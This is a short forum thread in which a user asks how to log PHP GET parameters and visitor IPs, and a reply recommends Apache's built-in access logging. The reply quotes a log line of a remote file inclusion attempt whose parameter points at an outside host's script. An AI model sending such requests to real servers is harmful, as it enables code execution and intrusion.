[PHP] GET parameters

Newbie Spellweaver
Joined
Apr 7, 2006
Messages
91
Reaction score
4
Hello, i want to make a script(i don't know if it may be done on php.) that when i open a site like
Code:
http://site/report.php?report=I'm using this hack
it will write one .txt file with the parameters and ip like

Code:
[Hack10303]
Cheat=parameters
IP=(the ip of user)

How could this be made?
 
Erm, most webservers already have this functionality build-in. Apache for instance can be set to log (it is by default) everything to /Apachex.x/logs/access.log

That shows something like this:
217.112.35.25 - - [05/Apr/2009:21:00:58 +0200] "GET //tools/send_reminders.php?noSet=0&includedir=http://ecology41.t35.com/id.txt???? HTTP/1.1" 401 506
(A silly hack attempt at one of my servers a while ago).

There is even a lot of software out there to organise your log file and parse it into something more easily readable. Writing it yourself will:
A. Be incomplete (or you must include it on every single page).
B. Cost more resources, slowing down your site.
So my advice is not to bother and use the build in functionality :closedeyes:
 
Back